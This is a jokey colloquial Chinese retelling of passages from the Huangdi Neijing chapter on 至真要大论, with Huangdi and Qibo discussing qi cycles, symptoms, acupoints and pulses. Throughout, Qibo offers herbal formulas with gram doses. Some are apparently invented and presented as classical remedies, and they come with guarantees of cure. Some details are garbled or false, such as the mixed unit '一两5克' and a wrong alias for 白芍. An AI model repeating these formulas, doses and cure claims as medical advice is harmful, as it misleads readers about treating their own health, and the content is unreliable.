岐伯说：“这‘胜至’啊，就是说一种‘气’太过旺盛，把另一种‘气’给压下去了，但还没完全发出来。就像咱们俩下棋，我这一步走得太猛，把您给逼得只能防守不能进攻了。这时候呢，要是再来一步‘复至’，就是另一种‘气’反击的时候啦。就像您突然找到个破绽，把我的棋子都给吃光了！” 黄帝笑得前仰后合：“岐伯啊，你这比喻真是太逗了！那治疗这种‘胜至’和‘复至’的病，是不是也得像下棋一样，讲究个策略呢？” 岐伯说：“那当然啦！咱们得根据病情的轻重缓急、病因的寒热虚实啥的，来制定个‘作战计划’。就像咱们打仗一样，得知道敌人的弱点在哪，才能一招制敌嘛！” 黄帝问：“嘿，岐伯啊，你说这自然界的胜负循环，比如冬天冷得要命，夏天热得发疯，这些变化是不是都有个固定的时间表啊？还有啊，那些什么气运流转的，是不是也都有个铁定的规律呢？” 岐伯一听，哈哈一笑，说：“黄帝啊，你这问题问得可真是有趣。咱们先说说时间吧，这自然界的四时变化，春夏秋冬，那可是有固定的顺序和节奏的，就像咱们吃饭睡觉一样，到点儿就得来。但是呢，说到具体的气运流转，那可就复杂多了，它可不是个乖乖听话的小绵羊，而是个爱搞恶作剧的小淘气。” 黄帝一听，眉头一皱，说：“哦？这话怎讲？” 岐伯清了清嗓子，开始了他的讲解：“你看啊，咱们把一年分成六个时间段，每个时间段有两个节气。这前三个时间段，也就是初气到三气，那是天气在主导，就像咱们家里的老大，说啥是啥，谁都得听。这时候，如果哪个气太嚣张了，比如夏天热得过头了，那秋天凉风一来，就得给它个下马威，这就是所谓的‘胜’。 但是呢，到了四气到终气，也就是后三个时间段，那就是地气的主场了。地气就像是家里的老二，虽然平时不怎么爱出风头，但要是天气老大太过分了，它可不会坐视不管。这时候，如果天气被地气给‘胜’了，那它就得找个机会‘复’仇，也就是反过来压制地气。所以啊，有胜就有复，没胜那就只好老老实实待着啦。” 黄帝一听，哈哈大笑，说：“你这解释可真是通俗易懂，还带点幽默感。不过啊，我还是有点不太明白，这胜负循环到底跟咱们人体有啥关系呢？” 岐伯摸了摸胡子，说：“关系可大了去了。你想啊，咱们人体也是个小宇宙，跟大自然那是息息相关的。这自然界的胜负循环，反映在人体上，那就是各种疾病的起起伏伏。比如说吧，冬天要是冷得过头了，那人们就容易得风寒感冒；夏天要是热得过头了，那就容易中暑。这时候啊，咱们就得根据季节和气候的变化，来调整自己的饮食起居，还有用点中药啥的，来保持身体的平衡。” 黄帝一听，眼睛一亮，说：“对对对，我听说中药里有好多方子，都是根据季节和气候来配制的。你能不能给我讲讲啊？” 岐伯点了点头，说：“行啊，那我就给你举个例子吧。比如说有个方子叫‘四气五味汤’，它就是根据四季的气候变化来配制的。春天呢，就用点辛温的药材，像桂枝、生姜啥的，来发散体内的寒气；夏天呢，就用点苦寒的药材，像黄连、黄芩啥的，来清热解暑；秋天呢，就用点酸收的药材，像白芍、五味子啥的，来收敛肺气；冬天呢，就用点咸润的药材，像熟地、阿胶啥的，来滋养肾阴。这方子啊，就像是个会变身的超级英雄，随着季节的变化而变化，保护着咱们的身体不受伤害。” 黄帝一听，乐得合不拢嘴，说：“哈哈，你这解释真是太逗了。不过啊，我还是得提醒你一句，你这方子里的药材用量可得说清楚啊，别到时候咱们用错了剂量，那可就得不偿失了。” 岐伯一听，连忙点头，说：“对对对，你看我这记性。这方子啊，每种药材都是5克，你回去后按照这个比例配制就行了。记住啊，用药如用兵，得根据实际情况来调整剂量和配伍，可别一股脑儿地乱用啊。” 黄帝挠了挠头，一脸疑惑地说：“嗯，你说得挺有道理的。那如果病情反复后又战胜了外邪，会是个啥情况呢？” 岐伯摸了摸下巴上的长须，慢悠悠地说：“哎呀，这病情反复啊，就像小孩子打架，打赢了就回家，但啥时候再出门打架，那可没准儿。得等到这病邪势力弱了，它才肯消停呢。如果病情反复后又打赢了外邪，但没能彻底消灭它，那可就糟糕了，这就像野草一样，春风吹又生，对身体可是个大大的伤害啊！” 黄帝眨巴眨巴眼睛，继续追问：“那病情反复后，为啥又会出现新的病症呢？” 岐伯捋了捋胡须，笑道：“这就好比一个人跑到不属于他的地盘上瞎晃悠，能不挨打吗？病情反复后，如果它太嚣张，把原本压制它的那股正气给惹毛了，正气就会反过来狠狠收拾它一顿，这时候，病人就会出现新的病症。比如说，原本的火邪、燥邪、热邪这些捣蛋鬼，它们一闹腾，身体就受不了啦！” 黄帝一听，哈哈大笑：“你这比喻真有意思，把病情反复说得跟小孩子打架似的！” 岐伯也跟着笑了起来：“可不是嘛，医学这东西，有时候就得用点儿幽默感，不然太枯燥了，谁愿意听啊！” 说到这里，黄帝突然想起了什么：“对了，岐伯啊，你这说法让我想起了咱们上次讨论的穴位。你说，如果病情反复，按摩或者针灸哪些穴位能帮忙呢？” 岐伯想了想，说：“那可得看具体是什么病症了。比如说，如果是感冒反复，那可以按摩风池穴、太阳穴，就像给身体按摩按摩，让它放松放松，外邪就不容易入侵了。要是失眠反复，那就得按摩涌泉穴、神门穴，让它们好好安抚安抚心神，让心神安定下来，失眠也就不那么严重了。” 黄帝一听，眼睛一亮：“哈哈，你这方法真绝！那要是吃药呢？有没有什么方剂能对付这病情反复的？” 岐伯点了点头：“当然有啦！不过方剂这东西，可得根据病情来开。比如说，如果是风热感冒反复，那我建议吃点儿银翘散。这银翘散啊，就是金银花、连翘这些清热解毒的药材组成的，把它们按照一定的比例配好，就像调配一个秘密武器一样，然后用水煎服，就能把风热感冒给赶跑了！” 黄帝听得津津有味：“哦？那这银翘散的比例是多少呢？还有啊，你说的一定的比例，是多少克啊？” 岐伯微微一笑：“这银翘散的比例啊，可是经过千锤百炼的。金银花5克、连翘一两5克、薄荷5克、竹叶5克、荆芥穗5克、淡豆豉5克、牛蒡子8克、芦根10克。你看，这每一味药材都像是一个小战士，它们团结一心，就能打败病邪了！” 黄帝一听，哈哈大笑：“你这方剂说得跟打仗似的，真有意思！那脉象呢？病情反复后，脉象会有什么变化吗？” 岐伯点了点头：“当然有变化了。病情反复后，脉象就像是一个调皮的孩子，一会儿跳得快，一会儿跳得慢，一会儿又跳得没力气。比如说，如果是风热感冒反复，那脉象就可能变得浮而数，就像是在水面上漂浮的树叶，被风吹得摇摇摆摆的。这时候啊，咱们就得仔细观察脉象，就像侦探一样，找出病情反复的蛛丝马迹！” 黄帝闲来无事，就找到了岐伯，俩人开始聊起了天。黄帝问：“岐伯啊，你说这病啊灾的，咱们到底该怎么治呢？”岐伯一听，嘿，这可是个大话题，得好好聊聊。 岐伯清了清嗓子，说：“这事儿啊，得从气的角度说起。你知道吗，咱们人体里的气，有时候就像小孩子一样，调皮得很。要是它稍微调皮点，咱们就跟着它的节奏走，用点温和的方法哄哄它；要是它太调皮了，咱们就得拿出点家长的气势来，好好管教管教它。” 黄帝一听，乐了：“哟，你这是把气当小孩子治啊？那具体怎么做呢？” 岐伯说：“这你就不懂了吧。比如说，有的人气虚了，咱们就得给他补补，就像给小孩子多吃点饭一样；有的人气太旺了，咱们就得给他降降温，就像给小孩子洗个凉水澡一样。这就是‘微者随之，甚者制之’的道理。” 黄帝点头表示赞同，又问：“那要是气自己恢复了呢？咱们又该怎么做？” 岐伯说：“这你就更得注意了。气要是恢复得刚刚好，咱们就给它加加油，让它保持稳定；要是恢复得太猛了，咱们就得赶紧给它刹刹车。就像开车一样，速度慢了加点油，速度快了踩刹车。这就是‘和者平之，暴者夺之’的意思。” 黄帝一听，哈哈大笑：“岐伯啊，你这医术还真是别具一格啊！不过，你说得这么抽象，我这脑子不够用啊，能不能来点实际的？” 岐伯一看黄帝这表情，就知道他想听点干货，于是接着说：“好吧，那我就给你来点实际的。比如说，咱们中医里有个方子，叫‘四君子汤’，就是专门用来补气的。这方子里的四味药——人参、白术、茯苓、甘草，就像四个好朋友一样，手拉手地把气给补起来。人参是老大，力气大，能补元气；白术是老二，能健脾；茯苓是老三，能利湿；甘草呢，就是个小跟班，能调和药性。这四味药加起来，就像是一个温馨的小家庭，把气给照顾得舒舒服服的。” 黄帝一听，眼睛一亮：“哟，这方子听起来不错啊！那要是气太旺了，咱们又该用什么药呢？” 岐伯说：“这你就得记住一个原则——‘实则泻之’。比如说，咱们有个方子叫‘龙胆泻肝汤’，就是专门用来泻肝火的。这方子里的龙胆草啊，就像个火爆脾气的家伙，能把肝火给灭得干干净净；黄芩、栀子呢，就像俩小助手，能帮龙胆草一起灭火；柴胡、当归呢，就像俩和事佬，能防止火势太大伤到自己人；生地黄、车前子呢，就像俩清洁工，能把灭掉的火渣给清理干净。这七味药加起来，就像是一个灭火小分队，能把肝火给治得服服帖帖的。” 黄帝一听，乐得合不拢嘴：“哈哈，老岐啊，你这医术还真是妙不可言啊！不过，你说得这么热闹，我这手还是痒痒啊，能不能让我试试？” 岐伯一看黄帝这架势，就知道他想动手试试。于是，他拿出两根银针，说：“好吧，那我就教你两招针灸的绝活。比如说，你要是头疼得厉害，咱们就可以在太阳穴和合谷穴上扎两针。这太阳穴啊，就像个阀门一样，能调节头部的气血；合谷穴呢，就像个开关一样，能打开或关闭气血的通道。这两穴一扎，头疼就能缓解不少。” 黄帝一听，跃跃欲试：“来来来，老岐，你给我示范一下！” 岐伯于是拿起银针，在黄帝的太阳穴和合谷穴上轻轻一扎。黄帝只感觉一股暖流从针尖流入体内，瞬间觉得神清气爽，头疼也消失得无影无踪。 至真要大论篇第七十四（十三） 黄帝笑眯眯地问岐伯：哎呀，岐伯啊，你这医术可真是了得，咱们今天再聊聊那“客主之气”的事儿吧！你说这“客主”之间的胜负，到底是个啥情况呢？ 岐伯捋了捋胡子，一本正经地说：皇上啊，您这问题问得深奥。在咱们中医的世界里，“客主之气”就像是身体里的两拨儿“大佬”，一个是你自身的正气，就像是身体里的“地主”，另一个是外来的邪气，就像是来串门的“客人”。这“地主”要是强大，那“客人”就得老实点儿；反之，要是“客人”太嚣张，“地主”就得小心应对了。不过啊，这胜负一旦定了，就基本没啥反转的机会了，得靠咱们自己调养回来。 黄帝眨眨眼，一脸好奇地问：哦？这么说来，这“地主”要是输了，岂不是得让“客人”在家里当家做主了？ 岐伯点头微笑道：正是如此。不过咱们身体里的“地主”要是真输了，那可不只是换个“老大”那么简单，那可得是健康出大问题了。 黄帝故作紧张地问：哎呀妈呀，这可不行！那要是“地主”输了，咱们怎么判断呢？是不是得从哪儿看出点儿端倪来？ 岐伯神秘一笑，说道：皇上您别急，这“地主”要是输了，咱们的身体可是会给出信号的。比如说，要是您哪天感觉身体不对劲儿，像是头疼脑热、咳嗽吐痰啥的，那就是“客人”开始嚣张了。这时候，您要是觉得身体乏力、精神不振，那就是“地主”在示弱了。 黄帝恍然大悟道：哦~原来是这样！那要是“地主”赢了，是不是就得反过来，咱们感觉神清气爽、身体倍儿棒了？ 岐伯赞许地点头说：皇上真是聪明绝顶！不过啊，这“地主”赢了也有两种情况。一种是“主胜逆”，就像是“地主”虽然赢了，但是赢得不太光彩，用了点儿“阴招”，比如说身体里的阴阳失调了，或者气血不和了。这时候，您可能会感觉身体有些不适，但总体来说还是比“客人”当家要好得多。 黄帝眉头一皱，问道：那这“主胜逆”听起来可不太妙啊！那“客胜从”呢？ 岐伯开心地笑了：哈哈，皇上您问得好！“客胜从”就像是“客人”虽然来了，但是一看“地主”太强大，直接就服了软了。这时候，您可能只是稍微有点儿不舒服，但很快就能恢复过来。所以啊，咱们中医讲究的就是“调和”，让“地主”和“客人”都能和谐相处，身体才能健健康康的。 黄帝拍手大笑道：哈哈，岐伯啊，你这解释可真是通俗易懂！那咱们要是想帮帮“地主”，让他变得更强大，有啥好办法没？ 岐伯思索了片刻，说：皇上啊，这“地主”强大与否，关键还得看您平时怎么保养。比如说，您可以多吃点儿红枣、枸杞啥的，这些都是“地主”的“补品”。还有啊，您得注意锻炼身体，就像是给“地主”请了个“健身教练”。这样一来，“地主”自然就能变得更强大了。 话说有一天，黄帝闲来无事，就拉着岐伯聊起了天。黄帝问：“嘿，岐伯啊，你说要是厥阴风木这个倒霉蛋掌了天，咱们的身体会出现啥状况呢？”岐伯一听，立马来了精神，这可是他擅长的领域啊！ 岐伯清了清嗓子，开始了他那既专业又不失幽默的讲解：“黄帝啊，要说这厥阴司天，那可真是个‘调皮鬼’。要是它带来的外邪（咱们可以理解为外界的不利因素）太嚣张了，咱们就会感觉耳朵嗡嗡响，跟开了低音炮似的；头呢，也会晕乎乎的，好像喝了十瓶二锅头还没醒酒；再严重点，说不定还得咳咳咳，跟肺里住了个摇滚歌手一样，整天开演唱会。不过啊，这都不是最惨的，要是咱们身体里的正气（可以理解为身体的抵抗力）赢了，那情况可就反过来了。胸啊、胁啊，这些地方就开始隐隐作痛，好像有人在里面偷偷捶鼓；舌头呢，也变得僵硬，说话都不利索了，跟舌头被冻住了一样，想打招呼都得靠手势。” 黄帝一听，哈哈大笑：“你这比喻可真够逗的，不过话说回来，这厥阴司天到底是个啥玩意儿，为啥能这么折腾人？”岐伯神秘一笑：“这厥阴啊，就是肝的‘代言人’，肝在中医里可是个‘大忙人’，管的事情多了去了。一旦它不高兴了，咱们全身都得跟着遭殃。” 黄帝点了点头，突然灵机一动：“岐伯啊，你说要是真遇到这种情况，咱们有没有啥灵丹妙药可以救急？”岐伯摸了摸下巴上的胡子，思索片刻：“当然有啦！不过，这方子可不是随便吃的，得对症下药。比如说，要是耳鸣掉眩得厉害，咱们可以试试‘天麻钩藤饮’。这方子啊，得用天麻、钩藤、石决明（可不是海里的那个哦，是中药的一种）、栀子、黄芩、牛膝、桑寄生、夜交藤、茯苓、益母草这些药材。按照现代的计量，天麻得用上9克，钩藤12克、石决明18克，其他的药材嘛，就各来个10克左右吧。把这些药材混在一起，煮成一锅汤，每天喝上那么一两碗，保证你耳朵清净，头脑清醒。” 黄帝一听，眼睛一亮：“这方子听起来挺靠谱的，不过，这药材的比例有没有什么讲究啊？”岐伯点了点头：“当然有啦！药材之间的比例，那可是一门大学问。就像咱们做饭一样，盐放多了咸，放少了淡，药材也一样，得恰到好处才行。不然啊，不仅治不了病，还可能添乱呢！” 黄帝听了，连连点头，突然又想到了什么：“岐伯啊，你说这脉象上能不能看出点啥来？”岐伯微微一笑：“当然可以啦！脉象可是咱们中医的‘秘密武器’之一。要是厥阴司天，外邪太盛，脉象就会显得弦而有力，就像绷紧的琴弦一样；要是正气不足，脉象就会显得沉而涩，好像血液在血管里懒洋洋地不愿意动。 黄帝说：“嘿，岐伯老兄，我这心里头啊，就像揣了个十万个为什么，今儿个就想问问，要是少阴这位‘天空之主’掌权的时候，人们会得啥样的病呢？” 岐伯一听，哈哈大笑，捋了捋他那飘逸的胡须，说：“黄帝啊，你这问题问得好，咱们这就来一场穿越古今的健康大揭秘！想象一下，少阴这位大佬坐镇天庭，要是外来的邪气（咱们就叫它‘客胜’吧）太嚣张，那可就热闹了！” “首先啊，你得准备好纸巾，因为‘鼽嚏’——就是连着打喷嚏、流鼻涕，那是少不了的。接着，脖子后面，就是咱们现在说的风池穴、大椎穴那一块儿，会变得僵硬得像被冻住了一样，转个头都得费老劲儿。还有肩背，哎呀，那感觉就像是背上背了个小火炉，又闷又热，还晕乎乎的。头疼起来，就像脑袋里有个孙悟空在耍金箍棒，疼得你直吸气。气不够用，少气得很，发热、耳聋，眼睛还老想闭上，就像是熬夜看了个通宵电视剧的后遗症。要是再严重点，小腿啊、脚丫子啊，可能就肿得跟馒头似的，甚至还可能‘血溢’，就是皮肤下面冒出血点子，或者长疮长疡，咳嗽气喘，那可真够受的！” 黄帝听得一愣一愣的，岐伯又接着说：“但是呢，要是咱们自身的正气（‘主胜’）强大，那情况就反过来了。这时候啊，心脏就像被点了火，热得慌，烦躁得很，就像夏天没空调，还穿着棉袄一样。更厉害的是，胁肋那儿，就是咱们现在说的肝经、胆经走的地方，可能会疼得你直不起腰，感觉肚子都胀得满满的，好像吃撑了十碗饭！” 黄帝听完，忍不住笑道：“岐伯啊，你这描述得也太生动了，我感觉自己就像是亲身经历了一遍！不过话说回来，咱们现代人听这些古方古穴，可能有点懵，你能不能给咱们翻译翻译，再加点料，让这内容更接地气，还能让人笑中带悟呢？” 岐伯点头笑道：“好嘞，那我就来段爆笑版的健康小贴士！” “首先啊，要是少阴司天，外邪太猛，你得小心了，别让自己变成‘喷嚏大王’，记得多揉揉迎香穴（就在鼻翼两侧，每次按个几分钟，喷嚏就能少一半）。还有啊，脖子僵硬？那就来一套‘乌龟伸头操’，模仿乌龟慢慢转头，风池穴、大椎穴自然放松，僵硬感拜拜！肩背热得慌？别急，找个墙，背靠着它，来个‘壁虎贴墙’，几分钟下来，热感就退了，还能练出好身材呢！头疼少气？试试深呼吸，吸气到丹田，呼气慢慢来，头痛自然消，还能增加肺活量哦！ 至于‘血溢’、疮疡这些，咱们现代人得注意，多喝水，多吃蔬果，保持身体水分和营养均衡，就像给身体装了个‘灭火器’。咳嗽气喘？那就来点‘雪梨炖百合’，雪梨一个，百合干30克，加水炖到软烂，润肺止咳，效果杠杠的！ 至于‘主胜’时的心热烦躁，咱们得学会‘静心大法’，练练瑜伽，听听冥想音乐，让心灵去旅行。胁痛支满？那就来杯‘逍遥茶’，取柴胡10克，白芍10克，茯苓15克，炙甘草5克，沸水冲泡，每日一杯，疏肝解郁，让你心情像花儿一样绽放！ 至于脉象嘛，咱们古人讲究‘浮沉迟数’，简单说，就是摸脉搏的深浅、快慢。少阴司天，外邪入侵时，脉象可能浮而快，就像小兔子乱蹦；正气足时，脉象则沉而有力，像海底稳坐的鲸鱼。咱们现代人虽然不一定能摸得那么准，但学会观察自己身体的反应，比如心跳加速、呼吸不畅，就是身体在告诉你，‘嘿，哥们儿，该注意啦！’ 黄帝说：“嘿，岐伯老兄，我这心里头啊，就像揣了个十万个为什么，今儿个就想问问，要是太阴星君（咱们中医里的‘司天’大佬）当家做主那一年，大伙儿容易得啥病呢？” 岐伯一听，笑眯眯地说：“黄帝大人，您这好奇心可真够旺盛的！得嘞，那我就给您细细道来。要是太阴司天，外头的邪气（咱们就叫它‘客邪’吧，想象成是个爱捣蛋的外星来客）要是占了上风，那可就热闹了。人们的脸啊、脑袋啊，还有手臂这些地儿，就像是被吹胀的气球，肿得跟包子似的，呼吸起来也像刚跑完马拉松，气喘吁吁的。但要是咱们体内的正气（咱们就叫它‘主气’，想象成是守护家园的超人）赢了，那情况就换成肚子和胸口胀得满满当当，吃个饭都能把人吃迷糊了，就像是吃了顿饭，灵魂却去了外太空遛弯儿。” 黄帝一听，笑得差点没岔气：“哈哈，这比喻，绝了！那少阳司天的时候呢？是不是也得来点精彩的？” 岐伯点头如捣蒜：“必须的！少阳司天，要是那客邪嚣张，嘿，人们的皮肤上就得长出一片片红疹子，跟火烧云似的，还可能有那种又红又肿的疮，疼得让人直咬牙。更惨的是，喉咙跟被掐住一样，吃饭喝水都成问题，头还疼得跟要裂开似的，耳朵聋得跟装了隔音墙，有时候鼻子还出血，内里还得抽筋似的抖，跟演古装剧中毒了一样。但要是主气给力，那就换成胸口堵得慌，咳嗽起来像是要把肺咳出来，还得张着嘴大口大口喘气，严重时连血都能咳出来，手热得跟烤红薯似的。” 黄帝听完，笑得前仰后合：“岐伯啊，你这描述，简直可以写本《中医奇趣百科》了！不过话说回来，这病啊，得治！有没有啥秘方啥的？” 岐伯摆摆手：“秘方？当然有，但咱们得科学点，讲讲方子怎么配。比如说，对付太阴司天那种肚子胀、吃完饭犯迷糊的情况，咱们可以来个‘消食健胃汤’。这方子啊，得用白术25克，（想象成是五颗小糖果），茯苓25克，（想象成是五朵小白云），陈皮15克（就像三块小橘子皮），甘草10克（一点点甜味就够了）。把这些宝贝放锅里，加水煮得咕嘟咕嘟的，就像是在炖一锅美味的‘健康大餐’。” 黄帝一听，眼睛一亮：“嘿，这方子听起来就不错，那少阳司天的那些症状呢？” 岐伯捋了捋胡子：“对付少阳司天的那些个毛病，咱们得来个‘清热利咽饮’。这方子啊，金银花15克（闪闪发光的金子），连翘20克（像是连翘的小灯笼），桔梗15克（想象成是桔子的灵魂），薄荷10克（清凉一夏的感觉）。也是加水煮，煮到满屋子飘香，就像是夏天的清风拂面，喝下去，喉咙舒服得跟做了spa似的。” 黄帝笑得合不拢嘴：“岐伯，你这方子不仅治病，听着还享受！那脉象呢？也给我来点生动的描述呗！” 岐伯哈哈大笑：“脉象啊，这可是门艺术。太阴司天的时候，如果主气弱，脉象就像是绵绵细雨，又细又软，摸起来就像是在摸小猫的绒毛，但总觉得少了点力气。而少阳司天，客邪盛的时候，脉象就像是奔腾的野马，又快又有力，跳起来就像是踩了弹簧，但仔细一听，里头还带着点杂乱无章的节奏，就像是摇滚乐里的乱拍，让人心慌慌。” 至真要大论篇第七十四（十四） 话说有一天，黄帝突发奇想，对身边的岐伯说：“嘿，岐伯，我这心里头啊，老是对那个阳明司天的时候人们会得啥病感到好奇。你给我讲讲呗，让我这医学小白也长长见识。” 岐伯一听，顿时来了精神，清了清嗓子，故作神秘地说：“哟，陛下，这事儿可有意思了。要说阳明司天，那可是自然界阳气旺盛到爆棚的时候。这时候啊，要是清气（可以理解为自然界的清新之气）在体内多余了，不搞点平衡出来，那可就热闹了。” 黄帝眨巴眨巴眼睛，催促道：“快说快说，怎么个热闹法？” 岐伯慢悠悠地说：“这时候的人啊，咳嗽那是家常便饭，时不时还来个流鼻血，喉咙跟被啥堵住了似的，咽东西都费劲。心里头那个火烧火燎的，跟吃了辣椒似的。咳嗽要是停不下来，咳出血来，那可是大事不妙，得赶紧送医院，不然……嘿嘿，后果自负哦。” 黄帝一听，吓了一跳：“这么严重？那咱得想办法治治啊！” 岐伯摆摆手：“别急别急，陛下。治疗这事儿啊，咱们得先从穴位说起。虽然这事儿跟穴位关系不大，但咱也得科普一下嘛。就说个‘肺俞’穴吧，现代穴位名称还是这个，它可是调理肺部疾病的小能手。你要是觉得肺里头不舒服，揉揉它，说不定能缓解点症状呢。” 黄帝挠挠头：“肺俞？听着挺高大上的，管用不？” 岐伯笑道：“管用不管用，你试试就知道了。不过啊，阳明司天这病，可不是揉揉穴位就能搞定的。咱还得说说方剂。” 黄帝眼睛一亮：“方剂？快说说，什么方剂？” 岐伯清了清嗓子：“这事儿啊，得从一味叫‘石膏’的药说起。石膏啊，那可是清热泻火的好东西。咱们来个简单的方剂吧，就叫‘清热止咳汤’。取石膏30克，知母15克，杏仁10克，甘草5克。这四味药啊，加水煮成汤，趁热喝下去，保证你热气全消，咳嗽也能缓解不少。” 黄帝听得津津有味：“这方剂听起来挺靠谱啊。不过，这脉象又是怎么回事呢？” 岐伯叹了口气：“脉象啊，那可是中医的精髓所在。阳明司天的时候，人的脉象通常会表现为洪大有力，跟洪水泛滥似的。这是因为体内阳气太盛，气血都跟着沸腾起来了。这时候啊，你得摸摸自己的脉，要是觉得跳得跟打鼓似的，那就得小心了，说明你的阳气太旺，得赶紧找个方法降降温。” 黄帝说：“嘿，岐伯，我有个事儿特别好奇，就是想知道如果太阳这家伙当上了司天大佬，那人们会出现啥样的症状呢？是不是就像太阳晒多了，皮肤会晒伤一样，身体也会有特别的反应？” 岐伯一听，哈哈一笑，摆摆手说：“黄帝啊黄帝，你这问题问得有意思。太阳司天这事儿，咱们得从天文说到人体，从大气层讲到小肠弯。不过既然你问了，那我就给你细细道来。” “首先啊，咱们得明白，太阳司天，那就是说在这一年里，太阳的影响力特别大，连带着它的‘小弟’——寒气、热气这些，也跟着嚣张起来。如果这时候，‘客’气，也就是外来的邪气占了上风，那人们可就要遭殃了。怎么个遭殃法呢？想象一下，你站在大太阳底下，突然一阵冷风吹过，是不是会觉得胸口闷闷的，好像被什么东西堵住了？对，就是那种感觉，胸中不利，感觉呼吸都不顺畅了。然后呢，鼻子开始流清鼻涕，跟水龙头没关紧似的，滴滴答答的。要是再不小心着了凉，咳咳咳，那咳嗽声就跟半夜猫叫似的，停不下来。” 黄帝听得津津有味，忍不住插嘴：“那要是‘主’气，也就是咱们身体的正气赢了呢？” 岐伯微微一笑，继续道：“要是正气赢了，嘿，那情况就好玩了。你想啊，正气足了，就像是身体里住了个超级英雄，专门打击那些外来的小喽啰。这时候，你可能会觉得喉咙里有点响动，像是有个小小的乐队在里面演奏，嚯嚯嚯地响，不过别担心，这可不是什么坏事，是正气在赶跑邪气呢！当然啦，这比喻有点夸张，但意思就是这么个意思。” 黄帝点头表示理解，但又好奇地问：“岐伯啊，你说这些症状，咱们中医有没有什么办法缓解或者治疗呢？比如按摩按摩哪个穴位，或者喝个啥汤药？” 岐伯一听，眼睛一亮，说：“问得好！首先，按摩穴位嘛，咱们可以试试‘列缺穴’，就在手腕上，大拇指和食指中间那条线，往手腕方向推，有个凹陷的地方，就是它了。列缺啊，就像是身体上的‘缺口’，能让邪气从这里溜出去，按一按，胸中不畅的感觉能缓解不少。不过记得，别按得太用力，温柔点，咱们这是在跟身体对话，不是跟它打架。” 黄帝笑得合不拢嘴：“哈哈，这穴位名儿取得，真是形象又有趣！” 岐伯接着说：“至于汤药嘛，咱们可以来个‘麻黄汤’。这方子简单又实用，就像是个小型的‘驱邪部队’。麻黄15克，桂枝10克，杏仁七十个（差不多20克，记得去皮尖），甘草5克。把这些药材放到锅里，加水煮，煮到水只剩下一半，然后滤掉渣，趁热喝下去。喝下去之后，你可能会觉得身上暖暖的，像是被一层温柔的阳光包裹着，那些寒气啊、邪气啊，就被这股暖流给赶跑了。” 黄帝听得目瞪口呆：“这方子听起来就像是给身体定制的一杯特调，既暖身又治病。” 岐伯点点头，补充道：“说到脉象，太阳司天的时候，如果邪气重，脉象可能会显得浮紧，就像是琴弦被拉得很紧，一触即发。这时候，你得仔细感受，脉象跳得快不快，紧不紧，就像是在判断一个即将爆发的火山，它的岩浆是不是在剧烈涌动。而如果是正气足，脉象就会显得洪大有力，像是山间奔腾的溪流，充满了生机和活力。” 黄帝说：“嘿，岐伯，我这心里头啊，就像揣了个十万个为什么，今儿个就想问问你，那个厥阴在泉的时候，要是它不高兴了，人体会出现啥状况呢？” 岐伯一听，笑眯眯地说：“陛下，您这问题问得可真够接地气！来来来，让我给您细细道来。要是厥阴在泉这位老兄心情不爽，也就是咱们说的‘客胜’了，那可就热闹了。首先啊，您的大关节，比如膝盖、肘子这些地方，就像是被谁施了魔法，变得僵硬不灵活，动起来那叫一个费劲儿。这还不算完，里头呢，还可能抽筋、强直，跟被点了穴似的，一动不能动；外头呢，走路、抬手，干啥都不利索，感觉自己瞬间变成了‘僵硬大侠’，哈哈，那画面，想想都带劲！” 黄帝一听，差点没笑出声：“哈哈，这厥阴在泉还真是个调皮鬼！那要是它心情好了，也就是‘主胜’呢？” 岐伯捋了捋胡子，继续说道：“要是它老人家心情好，嘿，那就完全不一样了！这时候啊，您的筋骨就会变得特别和谐，就像是做了全身spa，那叫一个舒畅。不过呢，也别高兴得太早，偶尔它还会给您来点小插曲，比如腰啊、肚子啊，时不时就给您来个‘惊喜’，疼上那么一阵儿，就像是提醒您，别忘了它的存在，哈哈，这厥阴在泉，还真是让人又爱又恨呢！” 说到这里，黄帝忍不住插话：“岐伯啊，你这解释得生动形象，我都忍不住想给你鼓掌了！不过，话说回来，咱们中医讲究的是治未病，有没有什么法子可以提前预防或者调理这些情况呢？” 岐伯一听，眼睛一亮：“黄帝大人，您这可是问到点子上了！虽然没有直接的穴位按摩或者方剂能专门对付厥阴在泉的这些小脾气，但咱们可以通过调和阴阳，增强体质来应对。比如说，咱们可以来个‘全身总动员’，做做八段锦、太极拳，让全身的气血都活起来，这样即便是厥阴在泉想捣乱，也没那么容易啦！” 黄帝点头称赞：“好主意！不过，我还是想听听，如果真有需要，有没有什么汤药方子可以辅助治疗呢？” 岐伯想了想，说：“好吧，既然您问了，那我就给您介绍一个古方，这个方子呢，咱们可以叫它‘调和阴阳汤’，主要成分有：熟地黄15克，白芍10克，当归10克，川芎8克，枸杞子12克，还有炙甘草5克。这些药材啊，一起煮水，每天喝上一碗，能滋养肝肾，调和气血，对缓解厥阴在泉引起的一些不适很有帮助哦！” 黄帝一听，眼睛都亮了：“哎呀，这方子听起来就很有料！不过，岐伯，你这方子里的药材，有没有什么有趣的别名或者小故事啊？说来听听，让我们也乐乐！” 岐伯被黄帝的幽默逗乐了，笑着说：“当然有啦！比如说熟地黄，它可是个‘补血小能手’，古时候人们还叫它‘地髓’，意思是大地的精华都凝聚在它身上了。白芍呢，又叫‘玉容散’，听这名字就知道，对美容养颜有奇效。当归，更是不得了，自古就被誉为‘妇科圣药’，还有个美称叫‘云归’，仿佛它是从云端飘下来的仙草。川芎，人称‘血中之气药’，能让气血运行得更顺畅。枸杞子，大家都熟悉，是‘养生界的网红’，补肝肾、明目效果杠杠的。至于炙甘草，它就像是队伍里的和事佬，调和各种药材，让它们能更好地发挥作用。” 黄帝说：“嘿，岐伯，我这心里头啊，就像有个十万个为什么，今儿个就想问问你，要是少阴这位‘大佬’在泉（中医里说的‘在泉’啊，就像是自然界的幕后导演，影响着咱们身体的健康戏码）的时候，会出现啥样的症状呢？” 岐伯一听，哈哈一笑，捋了捋他那飘逸的胡须，说道：“黄帝陛下，您这问题问得好啊！要说这少阴在泉，它要是‘客胜’（就是外界邪气太嚣张，压过了咱们身体的正气）了，那可热闹了！首先啊，您得小心您的腰，说不定哪天就跟你闹别扭，疼起来没完没了。还有啊，从屁股到大腿，再到膝盖、大腿外侧（咱们现代穴位啊，这就得说到环跳、风市、阳陵泉这些，都是容易受风寒邪气骚扰的地方），一直到小腿肚子（承山穴附近）、脚踝（解溪穴周围），这一路的酸爽，简直能酸掉牙！您可能还会觉得头脑发懵，像是被热浪拍了一脸，外加一股子酸味直冲鼻尖。更别提那脚踝肿得跟馒头似的，站久了都得扶着墙，生怕一不小心就‘亲吻’大地了。还有啊，上厕所的时候，您可能会发现，嘿，这大小便怎么跟平时不一样了？这都是少阴在泉，‘客胜’闹的！” 